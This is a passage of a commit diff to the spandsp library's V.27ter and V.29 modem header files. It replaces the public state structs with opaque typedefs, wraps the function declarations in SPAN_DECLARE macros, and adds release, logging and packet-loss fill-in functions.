-#define V27TER_RX_FILTER_STEPS V27TER_RX_2400_FILTER_STEPS
-#endif
-
 /*!
     V.27ter modem receive side descriptor. This defines the working state for a
     single instance of a V.27ter modem receiver.
 */
-typedef struct
-{
-    /*! \brief The bit rate of the modem. Valid values are 2400 and 4800. */
-    int bit_rate;
-    /*! \brief The callback function used to put each bit received. */
-    put_bit_func_t put_bit;
-    /*! \brief A user specified opaque pointer passed to the put_bit routine. */
-    void *put_bit_user_data;
+typedef struct v27ter_rx_state_s v27ter_rx_state_t;
 
-    /*! \brief The callback function used to report modem status changes. */
-    modem_rx_status_func_t status_handler;
-    /*! \brief A user specified opaque pointer passed to the status function. */
-    void *status_user_data;
-
-    /*! \brief A callback function which may be enabled to report every symbol's
-               constellation position. */
-    qam_report_handler_t qam_report;
-    /*! \brief A user specified opaque pointer passed to the qam_report callback
-               routine. */
-    void *qam_user_data;
-
-    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    int16_t rrc_filter[V27TER_RX_FILTER_STEPS];
-#else
-    float rrc_filter[V27TER_RX_FILTER_STEPS];
-#endif
-    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
-    int rrc_filter_step;
-
-    /*! \brief The register for the training and data scrambler. */
-    unsigned int scramble_reg;
-    /*! \brief A counter for the number of consecutive bits of repeating pattern through
-               the scrambler. */
-    int scrambler_pattern_count;
-    /*! \brief The current step in the table of BC constellation positions. */
-    int training_bc;
-    /*! \brief TRUE if the previous trained values are to be reused. */
-    int old_train;
-    /*! \brief The section of the training data we are currently in. */
-    int training_stage;
-    /*! \brief A count of how far through the current training step we are. */
-    int training_count;
-    /*! \brief A measure of how much mismatch there is between the real constellation,
-        and the decoded symbol positions. */
-    float training_error;
-    /*! \brief The value of the last signal sample, using the a simple HPF for signal power estimation. */
-    int16_t last_sample;
-    /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.27ter signal. */
-    int signal_present;
-    /*! \brief Whether or not a carrier drop was detected and the signal delivery is pending. */
-    int carrier_drop_pending;
-    /*! \brief A count of the current consecutive samples below the carrier off threshold. */
-    int low_samples;
-    /*! \brief A highest magnitude sample seen. */
-    int16_t high_sample;
-
-    /*! \brief The position of the current symbol in the constellation, used for
-               differential decoding. */
-    int constellation_state;
-
-    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
-    uint32_t carrier_phase;
-    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
-    int32_t carrier_phase_rate;
-    /*! \brief The carrier update rate saved for reuse when using short training. */
-    int32_t carrier_phase_rate_save;
-#if defined(SPANDSP_USE_FIXED_POINTx)
-    /*! \brief The proportional part of the carrier tracking filter. */
-    float carrier_track_p;
-    /*! \brief The integral part of the carrier tracking filter. */
-    float carrier_track_i;
-#else
-    /*! \brief The proportional part of the carrier tracking filter. */
-    float carrier_track_p;
-    /*! \brief The integral part of the carrier tracking filter. */
-    float carrier_track_i;
-#endif
-
-    /*! \brief A power meter, to measure the HPF'ed signal power in the channel. */    
-    power_meter_t power;
-    /*! \brief The power meter level at which carrier on is declared. */
-    int32_t carrier_on_power;
-    /*! \brief The power meter level at which carrier off is declared. */
-    int32_t carrier_off_power;
-
-    /*! \brief Current read offset into the equalizer buffer. */
-    int eq_step;
-    /*! \brief Current write offset into the equalizer buffer. */
-    int eq_put_step;
-    /*! \brief Symbol counter to the next equalizer update. */
-    int eq_skip;
-
-    /*! \brief The current half of the baud. */
-    int baud_half;
-
-#if defined(SPANDSP_USE_FIXED_POINT)
-    /*! \brief The scaling factor accessed by the AGC algorithm. */
-    int16_t agc_scaling;
-    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
-    int16_t agc_scaling_save;
-
-    /*! \brief The current delta factor for updating the equalizer coefficients. */
-    float eq_delta;
-    /*! \brief The adaptive equalizer coefficients. */
-    /*complexi16_t*/ complexf_t  eq_coeff[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
-    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
-    /*complexi16_t*/ complexf_t  eq_coeff_save[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
-    /*! \brief The equalizer signal buffer. */
-    /*complexi16_t*/ complexf_t eq_buf[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
-#else
-    /*! \brief The scaling factor accessed by the AGC algorithm. */
-    float agc_scaling;
-    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
-    float agc_scaling_save;
-
-    /*! \brief The current delta factor for updating the equalizer coefficients. */
-    float eq_delta;
-    /*! \brief The adaptive equalizer coefficients. */
-    complexf_t eq_coeff[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
-    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
-    complexf_t eq_coeff_save[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
-    /*! \brief The equalizer signal buffer. */
-    complexf_t eq_buf[V27TER_EQUALIZER_PRE_LEN + 1 + V27TER_EQUALIZER_POST_LEN];
-#endif
-
-    /*! \brief Integration variable for damping the Gardner algorithm tests. */
-    int gardner_integrate;
-    /*! \brief Current step size of Gardner algorithm integration. */
-    int gardner_step;
-    /*! \brief The total symbol timing correction since the carrier came up.
-               This is only for performance analysis purposes. */
-    int total_baud_timing_correction;
-
-    /*! \brief Starting phase angles for the coarse carrier aquisition step. */
-    int32_t start_angles[2];
-    /*! \brief History list of phase angles for the coarse carrier aquisition step. */
-    int32_t angles[16];
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} v27ter_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -218,7 +64,7 @@
     \param put_bit The callback routine used to put the received data.
     \param user_data An opaque pointer passed to the put_bit routine.
     \return A pointer to the modem context, or NULL if there was a problem. */
-v27ter_rx_state_t *v27ter_rx_init(v27ter_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data);
+SPAN_DECLARE(v27ter_rx_state_t *) v27ter_rx_init(v27ter_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data);
 
 /*! Reinitialise an existing V.27ter modem receive context.
     \brief Reinitialise an existing V.27ter modem receive context.
@@ -226,27 +72,39 @@
     \param bit_rate The bit rate of the modem. Valid values are 2400 and 4800.
     \param old_train TRUE if a previous trained values are to be reused.
     \return 0 for OK, -1 for bad parameter */
-int v27ter_rx_restart(v27ter_rx_state_t *s, int bit_rate, int old_train);
+SPAN_DECLARE(int) v27ter_rx_restart(v27ter_rx_state_t *s, int bit_rate, int old_train);
 
+/*! Release a V.27ter modem receive context.
+    \brief Release a V.27ter modem receive context.
+    \param s The modem context.
+    \return 0 for OK */
+SPAN_DECLARE(int) v27ter_rx_release(v27ter_rx_state_t *s);
+
 /*! Free a V.27ter modem receive context.
     \brief Free a V.27ter modem receive context.
     \param s The modem context.
     \return 0 for OK */
-int v27ter_rx_free(v27ter_rx_state_t *s);
+SPAN_DECLARE(int) v27ter_rx_free(v27ter_rx_state_t *s);
 
+/*! Get the logging context associated with a V.27ter modem receive context.
+    \brief Get the logging context associated with a V.27ter modem receive context.
+    \param s The modem context.
+    \return A pointer to the logging context */
+SPAN_DECLARE(logging_state_t *) v27ter_rx_get_logging_state(v27ter_rx_state_t *s);
+
 /*! Change the put_bit function associated with a V.27ter modem receive context.
     \brief Change the put_bit function associated with a V.27ter modem receive context.
     \param s The modem context.
     \param put_bit The callback routine used to handle received bits.
     \param user_data An opaque pointer. */
-void v27ter_rx_set_put_bit(v27ter_rx_state_t *s, put_bit_func_t put_bit, void *user_data);
+SPAN_DECLARE(void) v27ter_rx_set_put_bit(v27ter_rx_state_t *s, put_bit_func_t put_bit, void *user_data);
 
 /*! Change the modem status report function associated with a V.27ter modem receive context.
     \brief Change the modem status report function associated with a V.27ter modem receive context.
     \param s The modem context.
     \param handler The callback routine used to report modem status changes.
     \param user_data An opaque pointer. */
-void v27ter_rx_set_modem_status_handler(v27ter_rx_state_t *s, modem_rx_status_func_t handler, void *user_data);
+SPAN_DECLARE(void) v27ter_rx_set_modem_status_handler(v27ter_rx_state_t *s, modem_rx_status_func_t handler, void *user_data);
 
 /*! Process a block of received V.27ter modem audio samples.
     \brief Process a block of received V.27ter modem audio samples.
@@ -255,39 +113,48 @@
     \param len The number of samples in the buffer.
     \return The number of samples unprocessed.
 */
-int v27ter_rx(v27ter_rx_state_t *s, const int16_t amp[], int len);
+SPAN_DECLARE_NONSTD(int) v27ter_rx(v27ter_rx_state_t *s, const int16_t amp[], int len);
 
+/*! Fake processing of a missing block of received V.27ter modem audio samples.
+    (e.g due to packet loss).
+    \brief Fake processing of a missing block of received V.27ter modem audio samples.
+    \param s The modem context.
+    \param len The number of samples to fake.
+    \return The number of samples unprocessed.
+*/
+SPAN_DECLARE(int) v27ter_rx_fillin(v27ter_rx_state_t *s, int len);
+
 /*! Get a snapshot of the current equalizer coefficients.
     \brief Get a snapshot of the current equalizer coefficients.
     \param coeffs The vector of complex coefficients.
     \return The number of coefficients in the vector. */
-int v27ter_rx_equalizer_state(v27ter_rx_state_t *s, complexf_t **coeffs);
+SPAN_DECLARE(int) v27ter_rx_equalizer_state(v27ter_rx_state_t *s, complexf_t **coeffs);
 
 /*! Get the current received carrier frequency.
     \param s The modem context.
     \return The frequency, in Hertz. */
-float v27ter_rx_carrier_frequency(v27ter_rx_state_t *s);
+SPAN_DECLARE(float) v27ter_rx_carrier_frequency(v27ter_rx_state_t *s);
 
 /*! Get the current symbol timing correction since startup.
     \param s The modem context.
     \return The correction. */
-float v27ter_rx_symbol_timing_correction(v27ter_rx_state_t *s);
+SPAN_DECLARE(float) v27ter_rx_symbol_timing_correction(v27ter_rx_state_t *s);
 
 /*! Get a current received signal power.
     \param s The modem context.
     \return The signal power, in dBm0. */
-float v27ter_rx_signal_power(v27ter_rx_state_t *s);
+SPAN_DECLARE(float) v27ter_rx_signal_power(v27ter_rx_state_t *s);
 
 /*! Set the power level at which the carrier detection will cut in
     \param s The modem context.
     \param cutoff The signal cutoff power, in dBm0. */
-void v27ter_rx_signal_cutoff(v27ter_rx_state_t *s, float cutoff);
+SPAN_DECLARE(void) v27ter_rx_signal_cutoff(v27ter_rx_state_t *s, float cutoff);
 
 /*! Set a handler routine to process QAM status reports
     \param s The modem context.
     \param handler The handler routine.
     \param user_data An opaque pointer passed to the handler routine. */
-void v27ter_rx_set_qam_report_handler(v27ter_rx_state_t *s, qam_report_handler_t handler, void *user_data);
+SPAN_DECLARE(void) v27ter_rx_set_qam_report_handler(v27ter_rx_state_t *s, qam_report_handler_t handler, void *user_data);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v27ter_tx.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v27ter_tx.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v27ter_tx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,7 +22,7 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v27ter_tx.h,v 1.36 2008/07/16 14:23:48 steveu Exp $
+ * $Id: v27ter_tx.h,v 1.43 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \file */
@@ -64,71 +64,12 @@
 transmitter.
 */
 
-#define V27TER_TX_FILTER_STEPS      9
-
 /*!
     V.27ter modem transmit side descriptor. This defines the working state for a
     single instance of a V.27ter modem transmitter.
 */
-typedef struct
-{
-    /*! \brief The bit rate of the modem. Valid values are 2400 and 4800. */
-    int bit_rate;
-    /*! \brief The callback function used to get the next bit to be transmitted. */
-    get_bit_func_t get_bit;
-    /*! \brief A user specified opaque pointer passed to the get_bit function. */
-    void *get_bit_user_data;
+typedef struct v27ter_tx_state_s v27ter_tx_state_t;
 
-    /*! \brief The callback function used to report modem status changes. */
-    modem_tx_status_func_t status_handler;
-    /*! \brief A user specified opaque pointer passed to the status function. */
-    void *status_user_data;
-
-#if defined(SPANDSP_USE_FIXED_POINT)
-    /*! \brief The gain factor needed to achieve the specified output power at 2400bps. */
-    int32_t gain_2400;
-    /*! \brief The gain factor needed to achieve the specified output power at 4800bps. */
-    int32_t gain_4800;
-#else
-    /*! \brief The gain factor needed to achieve the specified output power at 2400bps. */
-    float gain_2400;
-    /*! \brief The gain factor needed to achieve the specified output power at 4800bps. */
-    float gain_4800;
-#endif
-    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    complexi16_t rrc_filter[2*V27TER_TX_FILTER_STEPS];
-#else
-    complexf_t rrc_filter[2*V27TER_TX_FILTER_STEPS];
-#endif
-    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
-    int rrc_filter_step;
-    
-    /*! \brief The register for the training and data scrambler. */
-    unsigned int scramble_reg;
-    /*! \brief A counter for the number of consecutive bits of repeating pattern through
-               the scrambler. */
-    int scrambler_pattern_count;
-    /*! \brief TRUE if transmitting the training sequence, or shutting down transmission.
-               FALSE if transmitting user data. */
-    int in_training;
-    /*! \brief A counter used to track progress through sending the training sequence. */
-    int training_step;
-
-    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
-    uint32_t carrier_phase;
-    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
-    int32_t carrier_phase_rate;
-    /*! \brief The current fractional phase of the baud timing. */
-    int baud_phase;
-    /*! \brief The code number for the current position in the constellation. */
-    int constellation_state;
-    /*! \brief The get_bit function in use at any instant. */
-    get_bit_func_t current_get_bit;
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} v27ter_tx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -138,7 +79,7 @@
     \brief Adjust a V.27ter modem transmit context's output power.
     \param s The modem context.
     \param power The power level, in dBm0 */
-void v27ter_tx_power(v27ter_tx_state_t *s, float power);
+SPAN_DECLARE(void) v27ter_tx_power(v27ter_tx_state_t *s, float power);
 
 /*! Initialise a V.27ter modem transmit context.
     \brief Initialise a V.27ter modem transmit context.
@@ -148,7 +89,7 @@
     \param get_bit The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer.
     \return A pointer to the modem context, or NULL if there was a problem. */
-v27ter_tx_state_t *v27ter_tx_init(v27ter_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data);
+SPAN_DECLARE(v27ter_tx_state_t *) v27ter_tx_init(v27ter_tx_state_t *s, int bit_rate, int tep, get_bit_func_t get_bit, void *user_data);
 
 /*! Reinitialise an existing V.27ter modem transmit context, so it may be reused.
     \brief Reinitialise an existing V.27ter modem transmit context.
@@ -156,27 +97,39 @@
     \param bit_rate The bit rate of the modem. Valid values are 2400 and 4800.
     \param tep TRUE is the optional TEP tone is to be transmitted.
     \return 0 for OK, -1 for bad parameter */
-int v27ter_tx_restart(v27ter_tx_state_t *s, int bit_rate, int tep);
+SPAN_DECLARE(int) v27ter_tx_restart(v27ter_tx_state_t *s, int bit_rate, int tep);
 
+/*! Release a V.27ter modem transmit context.
+    \brief Release a V.27ter modem transmit context.
+    \param s The modem context.
+    \return 0 for OK */
+SPAN_DECLARE(int) v27ter_tx_release(v27ter_tx_state_t *s);
+
 /*! Free a V.27ter modem transmit context.
     \brief Free a V.27ter modem transmit context.
     \param s The modem context.
     \return 0 for OK */
-int v27ter_tx_free(v27ter_tx_state_t *s);
+SPAN_DECLARE(int) v27ter_tx_free(v27ter_tx_state_t *s);
 
+/*! Get the logging context associated with a V.27ter modem transmit context.
+    \brief Get the logging context associated with a V.27ter modem transmit context.
+    \param s The modem context.
+    \return A pointer to the logging context */
+SPAN_DECLARE(logging_state_t *) v27ter_tx_get_logging_state(v27ter_tx_state_t *s);
+
 /*! Change the get_bit function associated with a V.27ter modem transmit context.
     \brief Change the get_bit function associated with a V.27ter modem transmit context.
     \param s The modem context.
     \param get_bit The callback routine used to get the data to be transmitted.
     \param user_data An opaque pointer. */
-void v27ter_tx_set_get_bit(v27ter_tx_state_t *s, get_bit_func_t get_bit, void *user_data);
+SPAN_DECLARE(void) v27ter_tx_set_get_bit(v27ter_tx_state_t *s, get_bit_func_t get_bit, void *user_data);
 
 /*! Change the modem status report function associated with a V.27ter modem transmit context.
     \brief Change the modem status report function associated with a V.27ter modem transmit context.
     \param s The modem context.
     \param handler The callback routine used to report modem status changes.
     \param user_data An opaque pointer. */
-void v27ter_tx_set_modem_status_handler(v27ter_tx_state_t *s, modem_tx_status_func_t handler, void *user_data);
+SPAN_DECLARE(void) v27ter_tx_set_modem_status_handler(v27ter_tx_state_t *s, modem_tx_status_func_t handler, void *user_data);
 
 /*! Generate a block of V.27ter modem audio samples.
     \brief Generate a block of V.27ter modem audio samples.
@@ -185,7 +138,7 @@
     \param len The number of samples to be generated.
     \return The number of samples actually generated.
 */
-int v27ter_tx(v27ter_tx_state_t *s, int16_t amp[], int len);
+SPAN_DECLARE_NONSTD(int) v27ter_tx(v27ter_tx_state_t *s, int16_t amp[], int len);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v29rx.h (14471 => 14472)


--- freeswitch/branches/seven/libs/spandsp/src/spandsp/v29rx.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/spandsp/src/spandsp/v29rx.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -22,13 +22,13 @@
  * License along with this program; if not, write to the Free Software
  * Foundation, Inc., 675 Mass Ave, Cambridge, MA 02139, USA.
  *
- * $Id: v29rx.h,v 1.64 2008/09/18 14:59:30 steveu Exp $
+ * $Id: v29rx.h,v 1.72 2009/07/09 13:52:09 steveu Exp $
  */
 
 /*! \file */
 
-#if !defined(_V29RX_H_)
-#define _V29RX_H_
+#if !defined(_SPANDSP_V29RX_H_)
+#define _SPANDSP_V29RX_H_
 
 /*! \page v29rx_page The V.29 receiver
 \section v29rx_page_sec_1 What does it do?
@@ -120,174 +120,14 @@
 therefore, only tests that bits starting at bit 24 are really ones. 
 */
 
-/* Target length for the equalizer is about 63 taps, to deal with the worst stuff
-   in V.56bis. */
-#define V29_EQUALIZER_PRE_LEN   16  /* This much before the real event */
-#define V29_EQUALIZER_POST_LEN  14  /* This much after the real event (must be even) */
-
-#define V29_RX_FILTER_STEPS     27
-
 typedef void (*qam_report_handler_t)(void *user_data, const complexf_t *constel, const complexf_t *target, int symbol);
 
 /*!
     V.29 modem receive side descriptor. This defines the working state for a
     single instance of a V.29 modem receiver.
 */
-typedef struct
-{
-    /*! \brief The bit rate of the modem. Valid values are 4800, 7200 and 9600. */
-    int bit_rate;
-    /*! \brief The callback function used to put each bit received. */
-    put_bit_func_t put_bit;
-    /*! \brief A user specified opaque pointer passed to the put_bit routine. */
-    void *put_bit_user_data;
+typedef struct v29_rx_state_s v29_rx_state_t;
 
-    /*! \brief The callback function used to report modem status changes. */
-    modem_rx_status_func_t status_handler;
-    /*! \brief A user specified opaque pointer passed to the status function. */
-    void *status_user_data;
-
-    /*! \brief A callback function which may be enabled to report every symbol's
-               constellation position. */
-    qam_report_handler_t qam_report;
-    /*! \brief A user specified opaque pointer passed to the qam_report callback
-               routine. */
-    void *qam_user_data;
-
-    /*! \brief The route raised cosine (RRC) pulse shaping filter buffer. */
-#if defined(SPANDSP_USE_FIXED_POINT)
-    int16_t rrc_filter[V29_RX_FILTER_STEPS];
-#else
-    float rrc_filter[V29_RX_FILTER_STEPS];
-#endif
-    /*! \brief Current offset into the RRC pulse shaping filter buffer. */
-    int rrc_filter_step;
-
-    /*! \brief The register for the data scrambler. */
-    unsigned int scramble_reg;
-    /*! \brief The register for the training scrambler. */
-    uint8_t training_scramble_reg;
-    /*! \brief The current step in the table of CD constellation positions. */
-    int training_cd;
-    /*! \brief TRUE if the previous trained values are to be reused. */
-    int old_train;
-    /*! \brief The section of the training data we are currently in. */
-    int training_stage;
-    /*! \brief A count of how far through the current training step we are. */
-    int training_count;
-    /*! \brief A measure of how much mismatch there is between the real constellation,
-        and the decoded symbol positions. */
-    float training_error;
-    /*! \brief The value of the last signal sample, using the a simple HPF for signal power estimation. */
-    int16_t last_sample;
-    /*! \brief >0 if a signal above the minimum is present. It may or may not be a V.29 signal. */
-    int signal_present;
-    /*! \brief Whether or not a carrier drop was detected and the signal delivery is pending. */
-    int carrier_drop_pending;
-    /*! \brief A count of the current consecutive samples below the carrier off threshold. */
-    int low_samples;
-    /*! \brief A highest magnitude sample seen. */
-    int16_t high_sample;
-
-    /*! \brief The position of the current symbol in the constellation, used for
-               differential decoding. */
-    int constellation_state;
-
-    /*! \brief The current phase of the carrier (i.e. the DDS parameter). */
-    uint32_t carrier_phase;
-    /*! \brief The update rate for the phase of the carrier (i.e. the DDS increment). */
-    int32_t carrier_phase_rate;
-    /*! \brief The carrier update rate saved for reuse when using short training. */
-    int32_t carrier_phase_rate_save;
-#if defined(SPANDSP_USE_FIXED_POINT)
-    /*! \brief The proportional part of the carrier tracking filter. */
-    int32_t carrier_track_p;
-    /*! \brief The integral part of the carrier tracking filter. */
-    int32_t carrier_track_i;
-#else
-    /*! \brief The proportional part of the carrier tracking filter. */
-    float carrier_track_p;
-    /*! \brief The integral part of the carrier tracking filter. */
-    float carrier_track_i;
-#endif
-
-    /*! \brief A power meter, to measure the HPF'ed signal power in the channel. */    
-    power_meter_t power;
-    /*! \brief The power meter level at which carrier on is declared. */
-    int32_t carrier_on_power;
-    /*! \brief The power meter level at which carrier off is declared. */
-    int32_t carrier_off_power;
-
-    /*! \brief Current read offset into the equalizer buffer. */
-    int eq_step;
-    /*! \brief Current write offset into the equalizer buffer. */
-    int eq_put_step;
-    /*! \brief Symbol counter to the next equalizer update. */
-    int eq_skip;
-
-    /*! \brief The current half of the baud. */
-    int baud_half;
-
-#if defined(SPANDSP_USE_FIXED_POINT)
-    /*! \brief The scaling factor accessed by the AGC algorithm. */
-    int16_t agc_scaling;
-    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
-    int16_t agc_scaling_save;
-
-    /*! \brief The current delta factor for updating the equalizer coefficients. */
-    int16_t eq_delta;
-    /*! \brief The adaptive equalizer coefficients. */
-    complexi16_t eq_coeff[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
-    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
-    complexi16_t eq_coeff_save[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
-    /*! \brief The equalizer signal buffer. */
-    complexi16_t eq_buf[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
-
-    /*! Low band edge filter for symbol sync. */
-    int32_t symbol_sync_low[2];
-    /*! High band edge filter for symbol sync. */
-    int32_t symbol_sync_high[2];
-    /*! DC filter for symbol sync. */
-    int32_t symbol_sync_dc_filter[2];
-    /*! Baud phase for symbol sync. */
-    int32_t baud_phase;
-#else
-    /*! \brief The scaling factor accessed by the AGC algorithm. */
-    float agc_scaling;
-    /*! \brief The previous value of agc_scaling, needed to reuse old training. */
-    float agc_scaling_save;
-
-    /*! \brief The current delta factor for updating the equalizer coefficients. */
-    float eq_delta;
-    /*! \brief The adaptive equalizer coefficients. */
-    complexf_t eq_coeff[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
-    /*! \brief A saved set of adaptive equalizer coefficients for use after restarts. */
-    complexf_t eq_coeff_save[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
-    /*! \brief The equalizer signal buffer. */
-    complexf_t eq_buf[V29_EQUALIZER_PRE_LEN + 1 + V29_EQUALIZER_POST_LEN];
-
-    /*! Low band edge filter for symbol sync. */
-    float symbol_sync_low[2];
-    /*! High band edge filter for symbol sync. */
-    float symbol_sync_high[2];
-    /*! DC filter for symbol sync. */
-    float symbol_sync_dc_filter[2];
-    /*! Baud phase for symbol sync. */
-    float baud_phase;
-#endif
-
-    /*! \brief The total symbol timing correction since the carrier came up.
-               This is only for performance analysis purposes. */
-    int total_baud_timing_correction;
-
-    /*! \brief Starting phase angles for the coarse carrier aquisition step. */
-    int32_t start_angles[2];
-    /*! \brief History list of phase angles for the coarse carrier aquisition step. */
-    int32_t angles[16];
-    /*! \brief Error and flow logging control */
-    logging_state_t logging;
-} v29_rx_state_t;
-
 #if defined(__cplusplus)
 extern "C"
 {
@@ -300,7 +140,7 @@
     \param put_bit The callback routine used to put the received data.
     \param user_data An opaque pointer passed to the put_bit routine.
     \return A pointer to the modem context, or NULL if there was a problem. */
-v29_rx_state_t *v29_rx_init(v29_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data);
+SPAN_DECLARE(v29_rx_state_t *) v29_rx_init(v29_rx_state_t *s, int bit_rate, put_bit_func_t put_bit, void *user_data);
 
 /*! Reinitialise an existing V.29 modem receive context.
     \brief Reinitialise an existing V.29 modem receive context.
@@ -308,27 +148,39 @@
     \param bit_rate The bit rate of the modem. Valid values are 4800, 7200 and 9600.
     \param old_train TRUE if a previous trained values are to be reused.
     \return 0 for OK, -1 for bad parameter */
-int v29_rx_restart(v29_rx_state_t *s, int bit_rate, int old_train);
+SPAN_DECLARE(int) v29_rx_restart(v29_rx_state_t *s, int bit_rate, int old_train);
 
+/*! Release a V.29 modem receive context.
+    \brief Release a V.29 modem receive context.
+    \param s The modem context.
+    \return 0 for OK */
+SPAN_DECLARE(int) v29_rx_release(v29_rx_state_t *s);
+
 /*! Free a V.29 modem receive context.
     \brief Free a V.29 modem receive context.
     \param s The modem context.
     \return 0 for OK */
-int v29_rx_free(v29_rx_state_t *s);
+SPAN_DECLARE(int) v29_rx_free(v29_rx_state_t *s);
 
+/*! Get the logging context associated with a V.29 modem receive context.
+    \brief Get the logging context associated with a V.29 modem receive context.
+    \param s The modem context.
+    \return A pointer to the logging context */
+SPAN_DECLARE(logging_state_t *) v29_rx_get_logging_state(v29_rx_state_t *s);
+
 /*! Change the put_bit function associated with a V.29 modem receive context.
     \brief Change the put_bit function associated with a V.29 modem receive context.
     \param s The modem context.
     \param put_bit The callback routine used to handle received bits.
     \param user_data An opaque pointer. */
-void v29_rx_set_put_bit(v29_rx_state_t *s, put_bit_func_t put_bit, void *user_data);
+SPAN_DECLARE(void) v29_rx_set_put_bit(v29_rx_state_t *s, put_bit_func_t put_bit, void *user_data);
 
 /*! Change the modem status report function associated with a V.29 modem receive context.
     \brief Change the modem status report function associated with a V.29 modem receive context.
     \param s The modem context.
     \param handler The callback routine used to report modem status changes.
     \param user_data An opaque pointer. */
-void v29_rx_set_modem_status_handler(v29_rx_state_t *s, modem_rx_status_func_t handler, void *user_data);
+SPAN_DECLARE(void) v29_rx_set_modem_status_handler(v29_rx_state_t *s, modem_rx_status_func_t handler, void *user_data);
 
 /*! Process a block of received V.29 modem audio samples.
     \brief Process a block of received V.29 modem audio samples.
@@ -336,44 +188,52 @@
     \param amp The audio sample buffer.
     \param len The number of samples in the buffer.
     \return The number of samples unprocessed. */
-int v29_rx(v29_rx_state_t *s, const int16_t amp[], int len);
+SPAN_DECLARE_NONSTD(int) v29_rx(v29_rx_state_t *s, const int16_t amp[], int len);
 
+/*! Fake processing of a missing block of received V.29 modem audio samples.
+    (e.g due to packet loss).
+    \brief Fake processing of a missing block of received V.29 modem audio samples.
+    \param s The modem context.
+    \param len The number of samples to fake.
+    \return The number of samples unprocessed. */
+SPAN_DECLARE(int) v29_rx_fillin(v29_rx_state_t *s, int len);
+
 /*! Get a snapshot of the current equalizer coefficients.
     \brief Get a snapshot of the current equalizer coefficients.
     \param s The modem context.
     \param coeffs The vector of complex coefficients.
     \return The number of coefficients in the vector. */
 #if defined(SPANDSP_USE_FIXED_POINT)
-int v29_rx_equalizer_state(v29_rx_state_t *s, complexi16_t **coeffs);
+SPAN_DECLARE(int) v29_rx_equalizer_state(v29_rx_state_t *s, complexi16_t **coeffs);
 #else
-int v29_rx_equalizer_state(v29_rx_state_t *s, complexf_t **coeffs);
+SPAN_DECLARE(int) v29_rx_equalizer_state(v29_rx_state_t *s, complexf_t **coeffs);
 #endif
 
 /*! Get the current received carrier frequency.
     \param s The modem context.
     \return The frequency, in Hertz. */
-float v29_rx_carrier_frequency(v29_rx_state_t *s);
+SPAN_DECLARE(float) v29_rx_carrier_frequency(v29_rx_state_t *s);
 
 /*! Get the current symbol timing correction since startup.
     \param s The modem context.
     \return The correction. */
-float v29_rx_symbol_timing_correction(v29_rx_state_t *s);
+SPAN_DECLARE(float) v29_rx_symbol_timing_correction(v29_rx_state_t *s);
 
 /*! Get the current received signal power.
     \param s The modem context.
     \return The signal power, in dBm0. */
-float v29_rx_signal_power(v29_rx_state_t *s);
+SPAN_DECLARE(float) v29_rx_signal_power(v29_rx_state_t *s);
 
 /*! Set the power level at which the carrier detection will cut in
     \param s The modem context.
     \param cutoff The signal cutoff power, in dBm0. */
-void v29_rx_signal_cutoff(v29_rx_state_t *s, float cutoff);
+SPAN_DECLARE(void) v29_rx_signal_cutoff(v29_rx_state_t *s, float cutoff);
 
 /*! Set a handler routine to process QAM status reports
     \param s The modem context.
     \param handler The handler routine.
     \param user_data An opaque pointer passed to the handler routine. */
-void v29_rx_set_qam_report_handler(v29_rx_state_t *s, qam_report_handler_t handler, void *user_data);
+SPAN_DECLARE(void) v29_rx_set_qam_report_handler(v29_rx_state_t *s, qam_report_handler_t handler, void *user_data);
 
 #if defined(__cplusplus)
 }

Modified: freeswitch/branches/seven/libs/spandsp/src/spandsp/v29tx.h (14471 => 14472)


